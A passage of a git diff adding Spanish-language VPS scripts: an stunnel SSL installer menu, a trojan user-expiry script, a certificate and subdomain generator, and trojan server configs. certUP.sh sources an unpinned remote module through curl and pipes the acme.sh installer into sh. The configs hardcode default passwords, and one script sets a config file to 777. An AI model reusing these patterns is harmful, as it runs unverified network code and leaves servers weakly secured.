a/Recursos/test/zerossl.sh b/Recursos/test/zerossl.sh new file mode 100644 index 0000000..e9e0320 --- /dev/null +++ b/Recursos/test/zerossl.sh @@ -0,0 +1,387 @@ +#!/bin/bash +# +source msg +clear +clear +SCPdir="/etc/adm-lite" +SCPfrm="${SCPdir}" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="${SCPdir}"&& [[ ! -d ${SCPinst} ]] && exit +declare -A cor=( +[0]="\033[1;37m" +[1]="\033[1;34m" +[2]="\033[1;31m" +[3]="\033[1;33m" +[4]="\033[1;32m" +[5]="\e[1;36m" ) + +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} + +fun_bar () { +comando="$1" _=$( $comando > /dev/null 2>&1 ) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" +for((i=0; i<20; i++)); do +echo -ne "\033[1;31m##" +sleep 0.5 +done +echo -ne "\033[1;33m]" +sleep 1s +echo tput cuu1 tput dl1 +done +echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +ssl_stunel () { +[[ $(mportas|grep stunnel4|head -1) ]] && { +echo -e "\033[1;33m Deteniendo Stunnel" +msg -bar +service stunnel4 stop > /dev/null 2>&1 +rm -rf /etc/stunnel/stunnel.conf +apt-get purge stunnel4 -y &>/dev/null && echo -e "\e[31m DETENIENDO SERVICIO SSL" | pv -qL 10 +apt-get purge stunnel4 &>/dev/null +apt-get remove stunnel4 &>/dev/null +msg -bar +echo -e "\033[1;33m Detenido Con Exito!" +msg -bar +return 0 +} +clear +msg -bar +echo -e "\033[1;33m Seleccione una puerta de redirección interna." +echo -e "\033[1;33m Un puerto SSH/DROPBEAR/SQUID/OPENVPN/PYTHON" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portserv + if [[ ! -z $portserv ]]; then + if lsof -Pi :$portserv -sTCP:LISTEN -t >/dev/null ; then + break + else + portserv="$pt" + break + fi + fi + done +msg -bar +DPORT="$(mportas|grep $portserv|awk '{print $2}'|head -1)" +echo -e "\033[1;33m Ahora Que Puerto sera SSL" +msg -bar +while true; do + echo -e " Ingresa el Puerto SSl/TLS " + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + echo -e "$barra" + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL" +msg -bar +fun_bar "apt-get install stunnel4 -y" +apt-get install stunnel4 -y > /dev/null 2>&1 +echo -e "client = no\n[SSL]\ncert = /etc/stunnel/stunnel.pem\naccept = ${SSLPORT}\nconnect = 127.0.0.1:${DPORT}" > /etc/stunnel/stunnel.conf +####Coreccion2.0##### +openssl genrsa -out stunnel.key 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(wget -qO- ifconfig.me):81" ; echo "" ; echo "" ; echo "" ; echo "@drowkid01")|openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt > /dev/null 2>&1 +cat stunnel.crt stunnel.key > stunnel.pem +mv stunnel.pem /etc/stunnel/ +######------- +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +msg -bar +echo -e "\033[1;33m INSTALADO CON EXITO" +msg -bar +rm -rf /etc/adm-lite/stunnel.crt > /dev/null 2>&1 +rm -rf /etc/adm-lite/stunnel.key > /dev/null 2>&1 +rm -rf /root/stunnel.crt > /dev/null 2>&1 +rm -rf /root/stunnel.key > /dev/null 2>&1 +return 0 +} + +ssl_stunel_2 () { +echo -e "\033[1;32m AGREGAR MAS PUERTOS SSL" +msg -bar +echo -e "\033[1;33m Seleccione una puerta de redirección interna." +echo -e "\033[1;33m Un puerto SSH/DROPBEAR/SQUID/OPENVPN/PYTHON" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portserv + if [[ ! -z $portserv ]]; then + if lsof -Pi :$portserv -sTCP:LISTEN -t >/dev/null ; then + break + else + portserv="$pt" + break + fi + fi + done +msg -bar +DPORT="$(mportas|grep $portserv|awk '{print $2}'|head -1)" +echo -e "\033[1;33m Ahora Que Puerto sera SSL" +msg -bar +while true; do + echo -e " Ingresa el Puerto SSl/TLS " + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + echo -e "$barra" + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL" +msg -bar +fun_bar "apt-get install stunnel4 -y" +echo -e "client = no\n[SSL+]\ncert = /etc/stunnel/stunnel.pem\naccept = ${SSLPORT}\nconnect = 127.0.0.1:${DPORT}" >> /etc/stunnel/stunnel.conf +######------- +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +msg -bar +echo -e "${cor[4]} INSTALADO CON EXITO" +msg -bar +rm -rf /etc/adm-lite/stunnel.crt > /dev/null 2>&1 +rm -rf /etc/adm-lite/stunnel.key > /dev/null 2>&1 +rm -rf /root/stunnel.crt > /dev/null 2>&1 +rm -rf /root/stunnel.key > /dev/null 2>&1 +return 0 +} +sslpython(){ +msg -bar +echo -e "\033[1;37mSe Requiere tener el puerto 80 y el 443 libres" +sleep 2 +install_python(){ +apt-get install python -y &>/dev/null && echo -e "\033[1;97m Activando Python Direc 80\n" | pv -qL 10 +sleep 3 +screen -dmS pydic-80 python ${SCPinst}/python.py 80 "@drowkid01" && echo "80 @drowkid01" >> /etc/adm-lite/PySSL.log +msg -bar + } + +install_ssl(){ +apt-get install stunnel4 -y &>/dev/null && echo -e "\033[1;97m Activando Servicios SSL 443\n" | pv -qL 12 +apt-get install stunnel4 -y > /dev/null 2>&1 +echo -e "client = no\n[SSL]\ncert = /etc/stunnel/stunnel.pem\naccept = 443\nconnect = 127.0.0.1:80" > /etc/stunnel/stunnel.conf +openssl genrsa -out stunnel.key 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(wget -qO- ifconfig.me):81" ; echo "" ; echo "" ; echo "" ; echo "@drowkid01")|openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt > /dev/null 2>&1 +cat stunnel.crt stunnel.key > stunnel.pem +mv stunnel.pem /etc/stunnel/ +######------- +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +rm -rf /root/stunnel.crt > /dev/null 2>&1 +rm -rf /root/stunnel.key > /dev/null 2>&1 +} + +install_python +install_ssl +msg -bar +echo -e "${cor[4]} INSTALACION COMPLETA" +msg -bar + +} + +unistall(){ +clear +msg -bar +msg -ama "DETENIENDO SERVICIOS SSL Y PYTHON" +msg -bar +service stunnel4 stop > /dev/null 2>&1 +apt-get purge stunnel4 -y &>/dev/null +apt-get purge stunnel -y &>/dev/null +kill -9 $(ps aux |grep -v grep |grep -w "python.py"|grep dmS|awk '{print $2}') &>/dev/null +rm /etc/adm-lite/PySSL.log &>/dev/null +clear +msg -bar +msg -verd "LOS SERVICIOS SE HAN DETENIDO" +msg -bar +} +# +certif(){ +msg -bar +msg -tit +echo -e "\e[1;37m ACONTINUACION ES TENER LISTO EL LINK DEL CERTIFICADO.zip\n VERIFICADO EN ZEROSSL, DESCARGALO Y SUBELO\n EN TU GITHUB O DROPBOX" +echo -ne " Desea Continuar? [S/N]: "; read seg +[[ $seg = @(n|N) ]] && msg -bar && return +clear +####Cerrificado ssl/tls##### +msg -bar +echo -e "\e[1;33m👇 LINK DEL CERTIFICADO.zip 👇 \n \e[0m" +echo -e "\e[1;36m LINK \e[37m: \e[34m\c " +#extraer certificado.zip +read linkd +wget -O /etc/stunnel/certificado.zip $linkd &>/dev/null +cd /etc/stunnel/ +unzip certificado.zip &>/dev/null +cat private.key certificate.crt ca_bundle.crt > stunnel.pem +rm -rf certificado.zip +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel restart > /dev/null 2>&1 +service stunnel4 restart &>/dev/null +msg -bar +echo -e "${cor[4]} CERTIFICADO INSTALADO CON EXITO \e[0m" +msg -bar +} + +certificadom(){ +if [ -f /etc/stunnel/stunnel.conf ]; then +insapa2(){ +for pid in $(pgrep python);do +kill $pid +done +for pid in $(pgrep apache2);do +kill $pid +done +service dropbear stop +echo -ne " \033[1;31m[ ! ] CONFIGURANDO APACHE" # Generate CA Config +apt install apache2 -y +echo "Listen 80 + Listen 443 + + Listen 443 + " > /etc/apache2/ports.conf + service apache2 restart +#) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" + } +clear +msg -bar +insapa2 &>/dev/null && echo -e " \e[1;33mAGREGANDO RECURSOS " | pv -qL 10 +msg -bar +echo -e "\e[1;37m Verificar dominio \e[0m" +msg -bar +read -p " LLAVE: " keyy +msg -bar +read -p " DATOS: " dat2w +mkdir -p /var/www/html/.well-known/pki-validation/ +datfr1=$(echo "$dat2w"|awk '{print $1}') +datfr2=$(echo "$dat2w"|awk '{print $2}') +datfr3=$(echo "$dat2w"|awk '{print $3}') +echo -ne "${datfr1}\n${datfr2}\n${datfr3}" >/var/www/html/.well-known/pki-validation/$keyy.txt +msg -bar +echo -e "\e[1;37m VERIFIQUE EN LA PÁGINA ZEROSSL \e[0m" +msg -bar +read -p " ENTER PARA CONTINUAR" +clear +msg -bar +echo -e "\e[1;33m👇 LINK DEL CERTIFICADO 👇 \n \e[0m" +echo -e "\e[1;36m LINK \e[37m: \e[34m\c" +read link + +incertis(){ + +wget $link -O /etc/stunnel/certificado.zip +cd /etc/stunnel/ +unzip certificado.zip +cat private.key certificate.crt ca_bundle.crt > stunnel.pem +service stunnel restart &>/dev/null +service stunnel4 restart &>/dev/null +} + +incertis &>/dev/null && echo -e " \e[1;33mEXTRAYENDO CERTIFICADO " | pv -qL 10 +msg -bar +echo -e "${cor[4]} CERTIFICADO INSTALADO \e[0m" +msg -bar +for pid in $(pgrep apache2);do +kill $pid +done +echo -ne " \033[1;31m[ ! ] RECONFIGURANDO APACHE" # Generate CA Config +apt install apache2 -y &>/dev/null +echo "Listen 81 + Listen 443 + + Listen 443 +" > /etc/apache2/ports.conf +service apache2 restart &>/dev/null +#) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +service dropbear start &>/dev/null +service dropbear restart &>/dev/null +for port in $(cat /etc/adm-lite/PortPD.log| grep -v "nobody" |cut -d' ' -f1); do +PIDVRF3="$(ps aux|grep pydic-"$port" |grep -v grep|awk '{print $2}')" +if [[ -z $PIDVRF3 ]]; then +screen -dmS pydic-"$port" python /etc/adm-lite/PDirect.py "$port" +else +for pid in $(echo $PIDVRF3); do +echo "" +done +fi +done +else +msg -bar +echo -e "${cor[3]} SSL/TLS NO INSTALADO \e[0m" +msg -bar + fi + } + clear +if netstat -tnlp |grep 'stunnel4' &>/dev/null; then +stunel="\e[32m[ ON ]" +else +stunel="\e[31m[ OFF ]" +fi +[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m =====>>►► 🐲 New ChumoGH💥VPS 🐲 ◄◄<<===== \033[0m" +msg -bar +msg -bar3 +msg -tit +echo -e "${cor[3]} INSTALADOR MULTI SSL By @drowkid01" +msg -bar +echo -e "${cor[1]} Escoja la opcion deseada." +msg -bar +echo -e " \033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ➮ $(msg -azu "INICIAR || DETENER SSL") $stunel" +echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ➮ $(msg -azu "AGREGAR + PUERTOS SSL")" +echo -e " \033[0;35m [\033[0;36m3\033[0;35m]\033[0;31m ➮ $(msg -azu "SSL+WEBSOCKET DIRECTO")" +echo -e " \033[0;35m [\033[0;36m4\033[0;35m]\033[0;31m ➮ $(msg -azu "\e[1;31mDETENER SERVICIO SSL+WEBSOCKET")" +msg -bar +echo -e " \033[0;35m [\033[0;36m5\033[0;35m]\033[0;31m ➮ $(msg -azu "CERTIFICADO SSL/TLS")" +msg -bar +echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ➮ $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +msg -bar +echo -e "\033[1;37mSelecione Una Opcion [0/5]: " +msg -bar +selection=$(selection_fun 5) +case ${selection} in +1) msg -bar +ssl_stunel ;; +2) msg -bar +ssl_stunel_2 +sleep 3 +exit ;; +3) sslpython +exit ;; +4) unistall ;; +5) clear +msg -bar +msg -ama "?CERTIFICADO SSL/TLS" +msg -bar +echo -e "${cor[4]} 1).-\033[1;37m CERTIFICADO ZIP DIRECTO" +echo -e "${cor[4]} 2).-\033[1;37m CERTIFICADO MANUAL ZEROSSL " +msg -bar +echo -ne "\033[1;37mSelecione Una Opcion [0/2]: " +msg -bar + selection=$(selection_fun 2) + case ${selection} in + 0) return 0 + ;; + 1) certif + exit + ;; + 2) certificadom + exit + ;; + esac +;; +esac diff --git a/Recursos/trojango-sh/trojan-sh/autodel-trojan.sh b/Recursos/trojango-sh/trojan-sh/autodel-trojan.sh new file mode 100644 index 0000000..a5b7a9d --- /dev/null +++ b/Recursos/trojango-sh/trojan-sh/autodel-trojan.sh @@ -0,0 +1,45 @@ +#!/bin/sh +#Autor: Henry Chumo +#Alias : ChumoGH +#clear +config="/usr/local/etc/trojan/config.json" +temp="/etc/trojan/temp.json" +trojdir="/etc/trojan" && [[ ! -d $trojdir ]] && mkdir $trojdir +user_conf="/etc/trojan/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/trojan/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +tmpdir="$backdir/tmp" + +barra="\033[0;31m=====================================================\033[0m" +numero='^[0-9]+$' +hora=$(printf '%(%H:%M:%S)T') +fecha=$(printf '%(%D)T') + + +autoDel(){ + seg=$(date +%s) + while : + do + unset users + users="$(cat $config | jq -r .password[])" + for i in $users + do + [[ ! $i = null ]] && { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + [[ "$seg" -ge "$seg_exp" ]] && { + Usr="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f1)" + mv $config $temp + sed "/$i/ d" $temp > $config + echo "Usuario ${Usr} eliminado $i" >> trojan-log + chmod 777 $config + kill $(ps x | grep trojan| grep -v grep | cut -d " " -f1) + [[ -e /etc/systemd/system/trojan.service ]] && systemctl restart trojan &>/dev/null || screen -dmS trojanserv trojan /usr/local/etc/trojan/config.json -l /root/server.log & + } + } + done + break + done + +} +autoDel + diff --git a/Recursos/trojango-sh/trojan-sh/certUP.sh b/Recursos/trojango-sh/trojan-sh/certUP.sh new file mode 100644 index 0000000..a679cc6 --- /dev/null +++ b/Recursos/trojango-sh/trojan-sh/certUP.sh @@ -0,0 +1,372 @@ +#!/bin/bash +#====FUNCIONES========== +source <(curl -sSL https://raw.githubusercontent.com/emirjorge/Script-Z/master/CHUMO/Recursos/module) +ADM_crt='' +cert_install(){ + #apt install socat netcat -y + if [[ ! -e $HOME/.acme.sh/acme.sh ]];then + msg -bar3 + msg -ama " Instalando script acme.sh" + curl -s "https://get.acme.sh" | sh &>/dev/null + fi + if [[ ! -z "${mail}" ]]; then + title "LOGEANDO EN Zerossl" + sleep 3 + $HOME/.acme.sh/acme.sh --register-account -m ${mail} --server zerossl + $HOME/.acme.sh/acme.sh --set-default-ca --server zerossl + enter + else + title "APLICANDO SERVIDOR letsencrypt" + sleep 3 + $HOME/.acme.sh/acme.sh --set-default-ca --server letsencrypt + enter + fi + title "GENERANDO CERTIFICADO SSL" + sleep 3 + if "$HOME"/.acme.sh/acme.sh --issue -d "${domain}" --standalone -k ec-256 --force; then + "$HOME"/.acme.sh/acme.sh --installcert -d "${domain}" --fullchainpath ${ADM_crt}/${domain}.crt --keypath ${ADM_crt}/${domain}.key --ecc --force &>/dev/null + [[ ! -d /data ]] && mkdir /data + [[ -e ${ADM_crt}/${domain}.crt ]] && cp ${ADM_crt}/${domain}.crt /data/cert.crt + [[ -e ${ADM_crt}/${domain}.key ]] && cp ${ADM_crt}/${domain}.key /data/cert.key + [[ -e ${ADM_crt}/ca.cer ]] && cp ${ADM_crt}/ca.cer /data/ca.crt + rm -rf $HOME/.acme.sh/${domain}_ecc + msg -bar + print_center -verd "Certificado SSL se genero con éxito" + #echo "${ADM_crt}/${domain}.crt " + enter + return 1 + else + rm -rf "$HOME/.acme.sh/${domain}_ecc" + msg -bar + print_center -verm2 "Error al generar el certificado SSL" + msg -bar + msg -ama " verifique los posibles error" + msg -ama " e intente de nuevo" + enter + return 1 + fi + } + +ext_cert(){ + unset cert + declare -A cert + title "INTALADOR DE CERTIFICADO EXTERNO" + print_center -azu "Requiere tener a mano su certificado ssl" + print_center -azu "junto a su correspondiente clave privada" + msg -bar + msg -ne " Continuar...[S/N]: " + read opcion + [[ $opcion != @(S|s|Y|y) ]] && return 1 + + + title "INGRESE EL CONTENIDO DE SU CERTIFICADO SSL" + msg -ama ' a continuacion se abrira el editor de texto nano + ingrese el contenido de su certificado + guardar precionando "CTRL+x" + luego "S o Y" segun el idioma + y por ultimo "enter"' + msg -bar + msg -ne " Continuar...[S/N]: " + read opcion + [[ $opcion != @(S|s|Y|y) ]] && return 1 + rm -rf ${ADM_tmp}/tmp.crt + clear + nano ${ADM_tmp}/tmp.crt + + title "INGRESE EL CONTENIDO DE CLAVE PRIVADA" + msg -ama ' a continuacion se abrira el editor de texto nano + ingrese el contenido de su clave privada. + guardar precionando "CTRL+x" + luego "S o Y" segun el idioma + y por ultimo "enter"' + msg -bar + msg -ne " Continuar...[S/N]: " + read opcion + [[ $opcion != @(S|s|Y|y) ]] && return 1 + ${ADM_tmp}/tmp.key + clear + nano ${ADM_tmp}/tmp.key + + if openssl x509 -in ${ADM_tmp}/tmp.crt -text -noout &>/dev/null ; then + DNS=$(openssl x509 -in ${ADM_tmp}/tmp.crt -text -noout | grep 'DNS:'|sed 's/, /\n/g'|sed 's/DNS:\| //g') + rm -rf ${ADM_crt}/* + if [[ $(echo "$DNS"|wc -l) -gt "1" ]]; then + DNS="multi-domain" + fi + mv ${ADM_tmp}/tmp.crt ${ADM_crt}/$DNS.crt + mv ${ADM_tmp}/tmp.key ${ADM_crt}/$DNS.key + + title "INSTALACION COMPLETA" + echo -e "$(msg -verm2 "Domi: ")$(msg -ama "$DNS")" + echo -e "$(msg -verm2 "Emit: ")$(msg -ama "$(openssl x509 -noout -in ${ADM_crt}/$DNS.crt -startdate|sed 's/notBefore=//g')")" + echo -e "$(msg -verm2 "Expi: ")$(msg -ama "$(openssl x509 -noout -in ${ADM_crt}/$DNS.crt -enddate|sed 's/notAfter=//g')")" + echo -e "$(msg -verm2 "Cert: ")$(msg -ama "$(openssl x509 -noout -in ${ADM_crt}/$DNS.crt -issuer|sed 's/issuer=//g'|sed 's/ = /=/g'|sed 's/, /\n /g')")" + msg -bar + echo "$DNS" > ${ADM_src}/dominio.txt + read foo + else + rm -rf ${ADM_tmp}/tmp.crt + rm -rf ${ADM_tmp}/tmp.key + clear + msg -bar + print_center -verm2 "ERROR DE DATOS" + msg -bar + msg -ama " Los datos ingresados no son validos.\n por favor verifique.\n e intente de nuevo!!" + msg -bar + read foo + fi + return 1 +} + +stop_port(){ + msg -bar3 + msg -ama " Comprovando puertos..." + ports=('80' '443') + + for i in ${ports[@]}; do + if [[ 0 -ne $(lsof -i:$i | grep -i -c "listen") ]]; then + msg -bar3 + echo -ne "$(msg -ama " Liberando puerto: $i")" + lsof -i:$i | awk '{print $2}' | grep -v "PID" | xargs kill -9 + sleep 2s + if [[ 0 -ne $(lsof -i:$i | grep -i -c "listen") ]];then + tput cuu1 && tput dl1 + print_center -verm2 "ERROR AL LIBERAR PURTO $i" + msg -bar3 + msg -ama " Puerto $i en uso." + msg -ama " auto-liberacion fallida" + msg -ama " detenga el puerto $i manualmente" + msg -ama " e intentar nuevamente..." + msg -bar + read foo + return 1 + fi + fi + done + } + +ger_cert(){ + clear + case $1 in + 1)title "Generador De Certificado Let's Encrypt";; + 2)title "Generador De Certificado Zerossl";; + esac + print_center -ama "Requiere ingresar un dominio." + print_center -ama "el mismo solo deve resolver DNS, y apuntar" + print_center -ama "a la direccion ip de este servidor." + msg -bar3 + print_center -ama "Temporalmente requiere tener" + print_center -ama "los puertos 80 y 443 libres." + if [[ $1 = 2 ]]; then + msg -bar3 + print_center -ama "Requiere tener una cuenta Zerossl." + fi + msg -bar + msg -ne " Continuar [S/N]: " + read opcion + [[ $opcion != @(s|S|y|Y) ]] && return 1 + + if [[ $1 = 2 ]]; then + while [[ -z $mail ]]; do + clear + msg -bar + print_center -ama "ingresa tu correo usado en zerossl" + msg -bar3 + msg -ne " >>> " + read mail + done + fi + + if [[ -e ${ADM_src}/dominio.txt ]]; then + domain=$(cat ${ADM_src}/dominio.txt) + [[ $domain = "multi-domain" ]] && unset domain + if [[ ! -z $domain ]]; then + clear + msg -bar + print_center -azu "Dominio asociado a esta ip" + msg -bar3 + echo -e "$(msg -verm2 " >>> ") $(msg -ama "$domain")" + msg -ne "Continuar, usando este dominio? [S/N]: " + read opcion + tput cuu1 && tput dl1 + [[ $opcion != @(S|s|Y|y) ]] && unset domain + fi + fi + + while [[ -z $domain ]]; do + clear + msg -bar + print_center -ama "ingresa tu dominio" + msg -bar3 + msg -ne " >>> " + read domain + done + msg -bar3 + msg -ama " Comprovando direccion IP ..." + local_ip=$(wget -qO- ipv4.icanhazip.com) + domain_ip=$(ping "${domain}" -c 1 | sed '1{s/[^(]*(//;s/).*//;q}') + sleep 3 + [[ -z "${domain_ip}" ]] && domain_ip="ip no encontrada" + if [[ $(echo "${local_ip}" | tr '.' '+' | bc) -ne $(echo "${domain_ip}" | tr '.' '+' | bc) ]]; then + clear + msg -bar + print_center -verm2 "ERROR DE DIRECCION IP" + msg -bar + msg -ama " La direccion ip de su dominio\n no coincide con la de su servidor." + msg -bar3 + echo -e " $(msg -azu "IP dominio: ")$(msg -verm2 "${domain_ip}")" + echo -e " $(msg -azu "IP servidor: ")$(msg -verm2 "${local_ip}")" + msg -bar3 + msg -ama " Verifique su dominio, e intente de nuevo." + msg -bar + read foo + return 1 + fi + + + stop_port + cert_install + echo "$domain" > ${ADM_src}/dominio.txt + return 1 +} + +gen_domi(){ + title "GENERADOR DE SUB-DOMINIOS" + msg -ama " Verificando direccion ip..." + sleep 2 + + ls_dom=$(curl -s -X GET "$url/$_dns/dns_records?per_page=100" \ + -H "X-Auth-Email: $correo" \ + -H "X-Auth-Key: $apikey" \ + -H "Content-Type: application/json" | jq '.') + + num_line=$(echo $ls_dom | jq '.result | length') + ls_domi=$(echo $ls_dom | jq -r '.result[].name') + ls_ip=$(echo $ls_dom | jq -r '.result[].content') + my_ip=$(wget -qO- ipv4.icanhazip.com) + + if [[ $(echo "$ls_ip"|grep -w "$my_ip") = "$my_ip" ]];then + for (( i = 0; i < $num_line; i++ )); do + if [[ $(echo "$ls_dom" | jq -r ".result[$i].content"|grep -w "$my_ip") = "$my_ip" ]]; then + domain=$(echo "$ls_dom" | jq -r ".result[$i].name") + echo "$domain" > ${ADM_src}/dominio.txt + break + fi + done + tput cuu1 && tput dl1 + print_center -azu "ya existe un sub-dominio asociado a esta IP" + msg -bar + echo -e " $(msg -verm2 "sub-dominio:") $(msg -ama "$domain")" + msg -bar + read foo + return 1 + fi + + if [[ -z $name ]]; then + tput cuu1 && tput dl1 + echo -e " $(msg -azu "El dominio principal es:") $(msg -ama "$_domain")\n $(msg -azu "El sub-dominio sera:") $(msg -ama "ejemplo.$_domain")" + msg -bar + while [[ -z "$name" ]]; do + msg -ne " Nombre (ej: vpsfull) >>> " + read name + tput cuu1 && tput dl1 + + name=$(echo "$name" | tr -d '[[:space:]]') + + if [[ -z $name ]]; then + msg -verm2 " ingresar un nombre...!" + unset name + sleep 2 + tput cuu1 && tput dl1 + continue + elif [[ ! $name =~ $tx_num ]]; then + msg -verm2 " ingresa solo letras y numeros...!" + unset name + sleep 2 + tput cuu1 && tput dl1 + continue + elif [[ "${#name}" -lt "4" ]]; then + msg -verm2 " nombre demaciado corto!" + sleep 2 + tput cuu1 && tput dl1 + unset name + continue + else + domain="$name.$_domain" + msg -ama " Verificando disponibiliad..." + sleep 2 + tput cuu1 && tput dl1 + if [[ $(echo "$ls_domi" | grep "$domain") = "" ]]; then + echo -e " $(msg -verd "[ok]") $(msg -azu "sub-dominio disponible")" + sleep 2 + else + echo -e " $(msg -verm2 "[fail]") $(msg -azu "sub-dominio NO disponible")" + unset name + sleep 2 + tput cuu1 && tput dl1 + continue + fi + fi + done + fi + tput cuu1 && tput dl1 + echo -e " $(msg -azu "El sub-dominio sera:") $(msg -verd "$domain")" + msg -bar + msg -ne " Continuar...[S/N]: " + read opcion + [[ $opcion = @(n|N) ]] && return 1 + tput cuu1 && tput dl1 + print_center -azu "Creando sub-dominio" + sleep 1 + + var=$(cat < ${ADM_src}/dominio.txt + print_center -verd "Sub-dominio creado con exito!" + else + echo "" > ${ADM_src}/dominio.txt + print_center -ama "Falla al crear Sub-dominio!" + fi + enter + return 1 +} + +ger_cert_z(){ + echo "" + +} + +#======MENU====== +menu_cert(){ +title "SUB-DOMINIO Y CERTIFICADO SSL" +menu_func "CERT SSL (Let's Encrypt)" "CERT SSL (Zerossl)" "CARGAR CERT SSL EXTERNO" "GENERAR SUB-DOMINIO" +back +in_opcion "Opcion" + +case $opcion in + 1)ger_cert 1;; + 2)ger_cert 2;; + 3)ext_cert;; + 4)gen_domi;; + 0)return 1;; +esac +} + +menu_cert diff --git a/Recursos/trojango-sh/trojan-sh/config.json b/Recursos/trojango-sh/trojan-sh/config.json new file mode 100644 index 0000000..1a03090 --- /dev/null +++ b/Recursos/trojango-sh/trojan-sh/config.json @@ -0,0 +1,59 @@ +{ + "run_type": "server", + "local_addr": "0.0.0.0", + "local_port": 443, + "remote_addr": "127.0.0.1", + "remote_port": 80, + "password": [ + "passtrojan" + ,"chumoghscript" + ], + "log_level": 1, + "ssl": { + "cert":"/data/cert.crt", + "key":"/data/cert.key", + "key_password": "", + "cipher": "ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384", + "cipher_tls13": "TLS_AES_128_GCM_SHA256:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384", + "prefer_server_cipher": true, + "alpn": [ + "http/1.1" + ], + "alpn_port_override": { + "h2": 81 + }, + "reuse_session": true, + "session_ticket": false, + "session_timeout": 600, + "plain_http_response": "", + "curves": "", + "dhparam": "" + }, + "tcp": { + "prefer_ipv4": false, + "no_delay": true, + "keep_alive": true, + "reuse_port": false, + "fast_open": true, + "fast_open_qlen": 20 + }, + "mysql": { + "enabled": false, + "server_addr": "127.0.0.1", + "server_port": 3306, + "database": "trojan", + "username": "trojan", + "password": "", + "key": "", + "cert": "", + "ca": "" + }, + "websocket": { + "enabled": true, + "path": "/ADMcgh", + "hostname": "0.0.0.0" + }, + "mux": { + "enabled": true + } +} diff --git a/Recursos/trojango-sh/trojan-sh/configARM.json b/Recursos/trojango-sh/trojan-sh/configARM.json new file mode 100644 index 0000000..1f2cca0 --- /dev/null +++ b/Recursos/trojango-sh/trojan-sh/configARM.json @@ -0,0 +1,68 @@ +{ + "run_type": "server", + "local_addr": "0.0.0.0", + "local_port": 443, + "remote_addr": "127.0.0.1", + "remote_port": 80, + "password": [ + "passtrojan" + ,"chumoghscript" + ], + "log_level": 1, + "ssl": { + "cert":"/data/cert.crt", + "key":"/data/cert.key", + "sni": "ssl.whatsapp.net" , + "key_password": "", + "cipher": "ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384", + "cipher_tls13": "TLS_AES_128_GCM_SHA256:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384", + "prefer_server_cipher": true, + "alpn": 